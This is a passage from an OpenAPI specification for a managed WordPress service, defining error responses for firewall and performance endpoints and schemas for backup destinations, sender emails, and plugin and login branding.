"message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[email:eq]", "message": "Filter is not supported." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "unsupported_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "SiteSecurityFirewallLogsPlanRequiredResponse": { "description": "The site plan does not support Firewall.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Firewall is not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Firewall." } ] } } } } } } }, "SiteSecurityFirewallLogsInvalidTimestampResponse": { "description": "The filters parameter was not an object, one or more timestamp filters were not valid timestamps, or a filter key or operator is unsupported.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "timestamp", "message": "Invalid timestamp" } ] } } }, "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key or operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[email:eq]", "message": "Filter is not supported." } ] } } } } } } }, "ListSitesPerformanceReportsInvalidRequestResponse": { "description": "The `site_ids` or `sort` query parameter is invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_site_ids_type": { "summary": "site_ids is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "site_ids", "message": "Must be an array" } ] } } }, "blank_site_ids": { "summary": "site_ids is empty", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "site_ids", "message": "Can't be blank" } ] } } }, "invalid_sort_type": { "summary": "sort is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "sort is not in field,direction format", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "unsupported_sort_field": { "summary": "sort field is unsupported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "unsupported_sort_direction": { "summary": "sort direction is unsupported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "ListSitesPerformanceReportsBusinessResponse": { "description": "One or more submitted site IDs are not available to you.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "site_ids_not_found": { "summary": "One or more sites were not found", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "resource_not_found", "param": "site_ids", "message": "One or more sites not found" } ] } } } } } } }, "ShowSitePerformanceReportNotFoundResponse": { "description": "The site is not available to you or has no performance report.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "site_not_found": { "summary": "Site does not exist or is not available to you", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } }, "report_not_found": { "summary": "Site has no performance report", "value": { "error": { "status": 404, "code": "not_found", "message": "Performance report not found" } } } } } } }, "ShowSitePerformanceReportBusinessResponse": { "description": "The performance report could not be fetched.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "operation_failed": { "summary": "Performance report fetch failed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "operation_failed", "message": "Failed to fetch performance report." } ] } } } } } } }, "SitePerformanceOptimizationInProgressResponse": { "description": "Performance optimization is already running for the site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ConflictError" }, "examples": { "optimization_in_progress": { "summary": "Optimization already running", "value": { "error": { "status": 409, "code": "conflict", "message": "Optimization in progress.", "details": [ { "code": "optimization_in_progress", "message": "A performance optimization is already in progress for this site." } ] } } } } } } }, "EnableSitePerformanceFailedResponse": { "description": "Performance optimization could not be enabled.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Performance optimization is not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support performance optimization." } ] } } }, "plugin_not_activated": { "summary": "Required plugin is not active", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plugin not activated.", "details": [ { "code": "plugin_not_activated", "message": "Required plugin is not activated." } ] } } }, "manual_installation_required": { "summary": "Manual plugin installation required", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Manual installation required.", "details": [ { "code": "manual_installation_required", "message": "Required plugin must be installed manually." } ] } } }, "performance_validation_error": { "summary": "Site cannot enable optimization", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Validation failed.", "details": [ { "code": "performance_validation_error", "message": "Site cannot enable performance optimization." } ] } } }, "operation_failed": { "summary": "Enable performance optimization failed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "operation_failed", "message": "Enable performance optimization failed." } ] } } } } } } }, "DisableSitePerformanceFailedResponse": { "description": "Performance optimization could not be disabled.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "cache_disable_error": { "summary": "Cache could not be disabled", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Cache disable failed.", "details": [ { "code": "cache_disable_error", "message": "Unable to disable cache." } ] } } }, "operation_failed": { "summary": "Disable performance optimization failed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "operation_failed", "message": "Disable performance optimization failed." } ] } } } } } } }, "ShowSitePerformanceSettingsFailedResponse": { "description": "Performance settings could not be returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Performance optimization is not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Airlift Optimization." } ] } } }, "operation_failed": { "summary": "Settings fetch failed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "operation_failed", "message": "Failed to fetch performance settings." } ] } } } } } } }, "UpdateSitePerformanceSettingsBadRequestResponse": { "description": "Performance settings request body is malformed.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "settings_blank": { "summary": "Settings are missing or empty", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "performance.settings", "message": "Can't be blank" } ] } } }, "settings_invalid_type": { "summary": "Settings are not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "performance.settings", "message": "Must be an object." } ] } } }, "no_supported_setting_group": { "summary": "No supported setting group was sent", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "performance.settings", "message": "Can't be blank" } ] } } } } } } }, "SitePerformanceSettingsConfigurationInProgressResponse": { "description": "A Performance configuration is already running for the site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ConflictError" }, "examples": { "configuration_in_progress": { "summary": "Configuration task already running", "value": { "error": { "status": 409, "code": "conflict", "message": "Configuration in progress.", "details": [ { "code": "configuration_in_progress", "message": "A performance configuration is already running for this site." } ] } } } } } } }, "UpdateSitePerformanceSettingsFailedResponse": { "description": "Performance settings update could not be started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Performance optimization is not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Airlift Optimization." } ] } } }, "configuration_validation_error": { "summary": "Invalid configuration parameters", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "param": "base", "message": "Apply the configuration — invalid parameters." } ] } } }, "no_changes_detected": { "summary": "No changes detected", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "param": "base", "message": "Update settings — no changes detected." } ] } } }, "operation_failed": { "summary": "Settings update failed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "operation_failed", "message": "Failed to update performance settings." } ] } } } } } } } }, "schemas": { "ApiError": { "type": "object", "required": [ "error" ], "description": "Standard API error envelope.", "properties": { "error": { "$ref": "#/components/schemas/ErrorEnvelope" } }, "example": { "error": { "status": 401, "code": "unauthorized", "message": "Authentication is required to access this resource." } } }, "ValidationError": { "allOf": [ { "$ref": "#/components/schemas/ApiError" } ], "description": "400 Bad Request. Used for missing required params and request validation failures (invalid structure or values).\n", "example": { "error": { "status": 400, "code": "bad_request", "message": "param is missing or the value is empty: auto_update_schedule" } } }, "BusinessError": { "allOf": [ { "$ref": "#/components/schemas/ApiError" } ], "description": "422 Unprocessable Entity. Used for business-rule violations, explicit unprocessable-entity responses,\nand handled business exceptions.\n", "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "message": "Invalid schedule." } ] } } }, "UnauthorizedError": { "allOf": [ { "$ref": "#/components/schemas/ApiError" } ], "description": "401 Unauthorized. Returned when the Authorization header is missing,\nmalformed, or contains invalid credentials.\n", "example": { "error": { "status": 401, "code": "unauthorized", "message": "Invalid API credentials." } } }, "ForbiddenError": { "allOf": [ { "$ref": "#/components/schemas/ApiError" } ], "description": "403 Forbidden. Used when authentication succeeds but access is denied, for example inactive account\nor insufficient permissions for the requested resource.\n", "example": { "error": { "status": 403, "code": "forbidden", "message": "Account is not active." } } }, "NotFoundError": { "allOf": [ { "$ref": "#/components/schemas/ApiError" } ], "description": "404 Not Found.", "example": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } }, "ConflictError": { "allOf": [ { "$ref": "#/components/schemas/ApiError" } ], "description": "409 Conflict. Returned when a request conflicts with the current state of the resource\n(for example, an update already in progress or a duplicate).\n", "example": { "error": { "status": 409, "code": "conflict", "message": "Conflict", "details": [ { "code": "already_exists", "message": "A resource with this name already exists." } ] } } }, "ServiceUnavailableError": { "allOf": [ { "$ref": "#/components/schemas/ApiError" } ], "description": "503 Service Unavailable. Used for temporary external or provider failures.", "example": { "error": { "status": 503, "code": "service_unavailable", "message": "Service temporarily unavailable. Please try again later.", "details": [ { "code": "service_unavailable", "message": "External service error." } ] } } }, "ErrorDetail": { "type": "object", "required": [ "code", "message" ], "description": "Detailed information about the error.", "properties": { "code": { "type": "string", "description": "Specific error code for this detail.", "example": "invalid_value" }, "message": { "type": "string", "description": "Message for this detail.", "example": "Invalid schedule." }, "param": { "type": "string", "description": "Request field or parameter related to this detail.", "example": "auto_update_schedule.started_at" }, "feature": { "type": "string", "description": "Feature related to this detail, when applicable.", "example": "sender_emails" } } }, "SiteIdsBusinessError": { "type": "object", "required": [ "error" ], "description": "Error envelope returned when one or more `site_ids` values are not available to you.", "properties": { "error": { "type": "object", "required": [ "status", "code", "message", "details" ], "properties": { "status": { "type": "integer", "enum": [ 422 ], "description": "Numeric HTTP status code." }, "code": { "type": "string", "enum": [ "unprocessable_entity" ], "description": "Machine-readable error code." }, "message": { "type": "string", "description": "Human-readable error message.", "example": "Operation failed." }, "details": { "type": "array", "description": "Site IDs that are not available to you.", "items": { "type": "object", "required": [ "code", "param", "message", "site_id" ], "properties": { "code": { "type": "string", "enum": [ "resource_not_found" ], "description": "Machine-readable detail code." }, "param": { "type": "string", "enum": [ "site_ids" ], "description": "Request parameter that contains the site ID that is not available to you." }, "message": { "type": "string", "description": "Human-readable detail message.", "example": "Site not found" }, "site_id": { "$ref": "#/components/schemas/SiteId" } } } } } } }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "resource_not_found", "param": "site_ids", "message": "Site not found", "site_id": "2ad8f92c4b6e1a7d3c5f9b0e8a1d6c4f" } ] } } }, "SiteIdsQuery": { "type": "array", "minItems": 1, "description": "Site IDs to include. Omit this parameter to include all sites available to you.", "items": { "$ref": "#/components/schemas/SiteId" }, "example": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] }, "SiteId": { "type": "string", "description": "Site ID.", "example": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" }, "SnapshotId": { "type": "string", "description": "Snapshot ID.", "example": "65a8f4c2d1b3e7f9a0c5d8e2" }, "BackupDestinationId": { "type": "string", "description": "Backup destination ID.", "example": "bkd_8fd93a2c91e44d19" }, "BackupDestination": { "type": "object", "required": [ "id", "provider", "provider_label", "name", "status", "connected", "email", "provider_account_id", "provider_metadata", "config", "last_tested_at", "last_error_code", "last_error_message", "created_at", "updated_at" ], "description": "Backup destination details for Dropbox or Google Drive storage available for\nbackup uploads.\n\nBefore a provider is connected, its `id` is the provider ID, such as\n`dropbox` or `google_drive`. Saved destinations use their destination ID.\n", "properties": { "id": { "type": "string", "description": "Identifier for the backup destination. Before the provider is connected, this is `dropbox` or `google_drive`; saved destinations use a destination ID.", "example": "bkd_8fd93a2c91e44d19" }, "provider": { "type": "string", "enum": [ "dropbox", "google_drive" ], "description": "Destination provider.", "example": "google_drive" }, "provider_label": { "type": "string", "description": "Display label for the provider.", "example": "Google Drive" }, "name": { "type": "string", "description": "Display name for the destination.", "example": "Google Drive" }, "status": { "type": "string", "enum": [ "active", "inactive", "error" ], "description": "Current connection state for the backup destination.", "example": "active" }, "connected": { "type": "boolean", "description": "Whether the destination currently has usable credentials.", "example": true }, "email": { "oneOf": [ { "type": "string", "format": "email" }, { "type": "null" } ], "description": "Provider account email when one is available.", "example": "drive@example.com" }, "provider_account_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Provider account identifier when the provider exposes one.", "example": "google-account-id" }, "provider_metadata": { "type": "object", "description": "Provider metadata, such as Google Drive folder identifiers and names.", "additionalProperties": true, "example": { "folder_id": "folder-id", "folder_name": "Site Backups" } }, "config": { "type": "object", "description": "Destination configuration used for backup uploads.", "additionalProperties": true, "example": { "folder_policy": "app_folder", "folder_name": "Site Backups" } }, "last_tested_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Last time the destination was successfully tested, if known.", "example": "2026-06-10T10:00:00Z" }, "last_error_code": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Last error code for the destination.", "example": null }, "last_error_message": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Last error message for the destination.", "example": null }, "created_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the destination was created. Providers that are not connected return null.", "example": "2026-06-10T09:30:00Z" }, "updated_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the destination was last updated, if known.", "example": "2026-06-10T10:00:00Z" } }, "example": { "id": "bkd_8fd93a2c91e44d19", "provider": "google_drive", "provider_label": "Google Drive", "name": "Google Drive", "status": "active", "connected": true, "email": "drive@example.com", "provider_account_id": "google-account-id", "provider_metadata": { "folder_id": "folder-id", "folder_name": "Site Backups" }, "config": { "folder_policy": "app_folder", "folder_name": "Site Backups" }, "last_tested_at": "2026-06-10T10:00:00Z", "last_error_code": null, "last_error_message": null, "created_at": "2026-06-10T09:30:00Z", "updated_at": "2026-06-10T10:00:00Z" } }, "SenderEmailId": { "type": "string", "description": "Sender email ID.", "example": "vL5mN8xR3pK7wJ1qT9hY2bFg" }, "SenderEmail": { "type": "object", "required": [ "id", "email", "name", "status", "domain", "created_at", "updated_at" ], "description": "Address used in the `From` field for report and notification emails. A sender\nemail starts as `pending` and becomes `verified` after ownership is confirmed.\n", "properties": { "id": { "$ref": "#/components/schemas/SenderEmailId" }, "email": { "type": "string", "format": "email", "description": "Sender email address.", "example": "reports@example.com" }, "name": { "type": "string", "description": "Sender display name shown to email recipients.", "example": "Reports" }, "status": { "type": "string", "enum": [ "pending", "verified" ], "description": "Sender verification lifecycle status.", "example": "verified" }, "domain": { "oneOf": [ { "type": "object", "required": [ "dkim", "return_path" ], "properties": { "dkim": { "type": "object", "required": [ "hostname", "value", "verified" ], "description": "DNS details that help prove emails from this address are authorized by the domain.", "properties": { "hostname": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "DNS hostname to configure.", "example": "mail._domainkey.example.com" }, "value": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "DNS value to configure.", "example": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A..." }, "verified": { "type": "boolean", "description": "Whether the DNS details have been verified.", "example": true } } }, "return_path": { "type": "object", "required": [ "hostname", "value", "verified" ], "description": "DNS details used by the email provider to handle bounced emails and support sender authentication.", "properties": { "hostname": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "DNS hostname to configure.", "example": "bounce.example.com" }, "value": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "DNS value to configure.", "example": "return.example.net" }, "verified": { "type": "boolean", "description": "Whether the DNS details have been verified.", "example": true } } } } }, { "type": "null" } ], "description": "DNS details used for sender authentication and bounce handling." }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the sender email was created.", "example": "2026-01-10T09:00:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when the sender email was last updated.", "example": "2026-01-10T09:30:00Z" } }, "example": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd", "email": "reports@example.com", "name": "Reports", "status": "verified", "domain": { "dkim": { "hostname": "mail._domainkey.example.com", "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...", "verified": true }, "return_path": { "hostname": "bounce.example.com", "value": "return.example.net", "verified": true } }, "created_at": "2026-01-10T09:00:00Z", "updated_at": "2026-01-10T09:30:00Z" } }, "SenderEmailResponse": { "type": "object", "required": [ "sender_email" ], "description": "Response envelope for one sender email.", "properties": { "sender_email": { "$ref": "#/components/schemas/SenderEmail" } }, "example": { "sender_email": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd", "email": "reports@example.com", "name": "Reports", "status": "verified", "domain": { "dkim": { "hostname": "mail._domainkey.example.com", "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...", "verified": true }, "return_path": { "hostname": "bounce.example.com", "value": "return.example.net", "verified": true } }, "created_at": "2026-01-10T09:00:00Z", "updated_at": "2026-01-10T09:30:00Z" } } }, "ListSenderEmailsRequest": { "type": "object", "required": [], "additionalProperties": true, "description": "Query parameters for finding and ordering sender emails.", "properties": { "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number. Defaults to 1.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of items per page. Values above 100 are capped to 100.", "example": 100 }, "sort": { "$ref": "#/components/schemas/ListSenderEmailsSort" }, "filters": { "$ref": "#/components/schemas/ListSenderEmailsFilters" } } }, "ListSenderEmailsResponse": { "type": "object", "required": [ "sender_emails", "meta" ], "description": "Paginated response envelope for sender emails.", "properties": { "sender_emails": { "type": "array", "description": "Sender emails in your account.", "items": { "$ref": "#/components/schemas/SenderEmail" } }, "meta": { "type": "object", "required": [ "pagination" ], "description": "Pagination metadata for this sender email list response.", "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "sender_emails": [ { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd", "email": "reports@example.com", "name": "Reports", "status": "verified", "domain": { "dkim": { "hostname": "mail._domainkey.example.com", "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...", "verified": true }, "return_path": { "hostname": "bounce.example.com", "value": "return.example.net", "verified": true } }, "created_at": "2026-01-10T09:00:00Z", "updated_at": "2026-01-10T09:30:00Z" }, { "id": "pN3mK7xQ9pL4wJ6vT2hY8bFa", "email": "billing@example.com", "name": "Billing", "status": "pending", "domain": { "dkim": { "hostname": "mail._domainkey.example.com", "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...", "verified": false }, "return_path": { "hostname": "bounce.example.com", "value": "return.example.net", "verified": false } }, "created_at": "2026-01-11T09:00:00Z", "updated_at": "2026-01-11T09:00:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "CreateSenderEmailRequest": { "type": "object", "required": [ "sender_email" ], "additionalProperties": true, "description": "From address and display name for creating a sender email.", "properties": { "sender_email": { "type": "object", "required": [ "email", "name" ], "additionalProperties": true, "description": "Fields for the sender email to create.", "properties": { "email": { "type": "string", "format": "email", "description": "From address to verify. Must be a non-blank, valid email address and unique in your account.", "example": "reports@example.com" }, "name": { "type": "string", "minLength": 1, "maxLength": 100, "description": "Sender display name shown to email recipients. Must be non-blank and at most 100 characters.", "example": "Reports" } } } }, "example": { "sender_email": { "email": "reports@example.com", "name": "Reports" } } }, "UpdateSenderEmailRequest": { "type": "object", "required": [ "sender_email" ], "additionalProperties": true, "description": "Editable settings for updating a sender email.", "properties": { "sender_email": { "type": "object", "additionalProperties": true, "description": "Fields to change for the sender email. Include at least one supported update field; omitted fields remain unchanged.", "properties": { "name": { "type": "string", "minLength": 1, "maxLength": 100, "description": "Sender display name shown to email recipients. When sent, it must be non-blank and at most 100 characters.", "example": "Reports" }, "domain": { "type": "object", "additionalProperties": true, "description": "Domain settings for the sender email. Include `return_path` when changing return-path DNS settings.", "properties": { "return_path": { "type": "object", "additionalProperties": true, "description": "Return-path DNS settings for the sender email.", "properties": { "hostname": { "type": "string", "description": "Return-path CNAME hostname to configure. When sent, it must be a non-blank hostname and the sender email must be verified.", "example": "bounce.example.com" } } } } } } } }, "example": { "sender_email": { "name": "Reports", "domain": { "return_path": { "hostname": "bounce.example.com" } } } } }, "PluginBrandingResponse": { "type": "object", "required": [ "plugin_branding" ], "additionalProperties": false, "description": "Response envelope for account-level plugin branding.", "properties": { "plugin_branding": { "type": "object", "required": [ "type", "name", "description", "author" ], "additionalProperties": false, "description": "Account-level plugin branding returned by show, update, and reset.", "properties": { "type": { "type": "string", "enum": [ "default", "custom", "hidden" ], "description": "Resolved account-level plugin branding type.", "example": "custom" }, "name": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Plugin display name, or null when the plugin is hidden.", "example": "Site Guardian" }, "description": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Plugin description, or null when the plugin is hidden.", "example": "Managed WordPress security and backup" }, "author": { "type": "object", "required": [ "name", "url" ], "additionalProperties": false, "description": "Public plugin author details.", "properties": { "name": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Plugin author name, or null when the plugin is hidden.", "example": "Acme Agency" }, "url": { "oneOf": [ { "type": "string", "format": "uri" }, { "type": "null" } ], "description": "Plugin author URL, or null when hidden or omitted.", "example": "https://example.com" } } } }, "example": { "type": "custom", "name": "Site Guardian", "description": "Managed WordPress security and backup", "author": { "name": "Acme Agency", "url": "https://example.com" } } } }, "example": { "plugin_branding": { "type": "custom", "name": "Site Guardian", "description": "Managed WordPress security and backup", "author": { "name": "Acme Agency", "url": "https://example.com" } } } }, "UpdatePluginBrandingRequest": { "type": "object", "required": [ "plugin_branding" ], "additionalProperties": true, "description": "Request body for updating account-level plugin branding.", "properties": { "plugin_branding": { "type": "object", "required": [ "type" ], "additionalProperties": true, "description": "Plugin display settings to save. For `custom`, include `name`, `description`, and `author.name`. For `hidden`, only `type` is used.", "properties": { "type": { "type": "string", "enum": [ "custom", "hidden" ], "description": "Branding type to save. Use `custom` for custom plugin details or `hidden` to hide the plugin.", "example": "custom" }, "name": { "type": "string", "minLength": 3, "description": "Custom plugin display name. Required for `custom`; ignored for `hidden`.", "example": "Site Guardian" }, "description": { "type": "string", "minLength": 10, "description": "Custom plugin description. Required for `custom`; ignored for `hidden`.", "example": "Managed WordPress security and backup" }, "author": { "type": "object", "required": [], "additionalProperties": true, "description": "Custom plugin author details. `name` is required for `custom`; ignored for `hidden`.", "properties": { "name": { "type": "string", "minLength": 2, "description": "Custom author name. Required for `custom`.", "example": "Acme Agency" }, "url": { "type": "string", "format": "uri", "description": "Optional custom author URL. Must be HTTP or HTTPS when present.", "example": "https://example.com" } } } }, "example": { "type": "custom", "name": "Site Guardian", "description": "Managed WordPress security and backup", "author": { "name": "Acme Agency", "url": "https://example.com" } } } }, "example": { "plugin_branding": { "type": "custom", "name": "Site Guardian", "description": "Managed WordPress security and backup", "author": { "name": "Acme Agency", "url": "https://example.com" } } } }, "WpLoginResponse": { "type": "object", "required": [ "wp_login" ], "additionalProperties": false, "description": "Response envelope for account-level WP Login branding.", "properties": { "wp_login": { "type": "object", "required": [ "type", "logo_file", "label", "error_message", "tooltip", "sender_email" ], "additionalProperties": false, "description": "Account-level WP Login branding returned by show, update, and reset.", "properties": { "type": { "type": "string", "enum": [ "default", "custom" ], "description": "Resolved account-level WP Login branding mode.", "example": "custom" }, "logo_file": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Custom login logo, or null when no custom logo is active.", "example": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA..." }, "label": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Custom login page label, or null when no custom label is active.", "example": "Agency Login" }, "error_message": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Custom error message shown in the login flow, or null when no custom error message is active.", "example": "The code you entered is incorrect." }, "tooltip": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Custom tooltip or help text shown in the login flow, or null when no custom tooltip is active.", "example": "Need help? Contact support." }, "sender_email": { "oneOf": [ { "type": "object", "required": [ "id", "email" ], "additionalProperties": false, "properties": { "id": { "$ref": "#/components/schemas/SenderEmailId" }, "email": { "type": "string", "format": "email", "description": "Sender email address.", "example": "support@example.com" } } }, { "type": "null" } ], "description": "Sender email selected for custom login branding, or null when no sender email is selected." } }, "example": { "type": "custom", "logo_file": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...", "label": "Agency Login", "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact support.", "sender_email": { "id": "vL5mN8xR3pK7wJ1qT9hY2bFg", "email": "support@example.com" } } } }, "example": { "wp_login": { "type": "custom", "logo_file": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...", "label": "Agency Login", "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact support.", "sender_email": { "id": "vL5mN8xR3pK7wJ1qT9hY2bFg", "email": "support@example.com" } } } }, "UpdateWpLoginRequest": { "type": "object", "required": [ "wp_login" ], "additionalProperties": true, "description": "Request body for updating WP Login Branding.", "properties": { "wp_login": { "type": "object", "required": [], "additionalProperties": true, "description": "Login-screen display settings to save. Include at least one supported field; omitted fields remain unchanged.", "properties": { "logo_file": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Base64-encoded PNG or JPEG logo. Decoded image data must not exceed 40960 bytes. Send `null` to clear the logo.", "example": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA..." }, "label": { "oneOf": [ { "type": "string", "maxLength": 30 }, { "type": "null" } ], "description": "Login page label. Send `null` to clear the label.", "example": "Agency Login" }, "error_message": { "oneOf": [ { "type": "string", "maxLength": 200 }, { "type": "null" } ], "description": "Error message shown in the login flow. Send `null` to clear the error message.", "example": "The code you entered is incorrect." }, "tooltip": { "oneOf": [ { "type": "string", "maxLength": 100 }, { "type": "null" } ], "description": "Tooltip or help text shown in the login flow. Send `null` to clear the tooltip.", "example": "Need help? Contact support." }, "sender_email": { "oneOf": [ { "type": "object", "required": [ "id" ], "properties": { "id": { "$ref": "#/components/schemas/SenderEmailId" } } }, { "type": "null" } ], "description": "Sender email selected for custom login branding. Send `null` to clear the selected sender email." } }, "example": { "logo_file": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...", "label": "Agency Login", "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact support.", "sender_email": { "id": "vL5mN8xR3pK7wJ1qT9hY2bFg" } } } }, "example": { "wp_login": { "logo_file": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...", "label": "Agency Login", "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact support.", "sender_email": { "id": "vL5mN8xR3pK7wJ1qT9hY2bFg" } } } }, "ManagedAccountId": { "type": "string", "description": "Managed account ID.", "example": 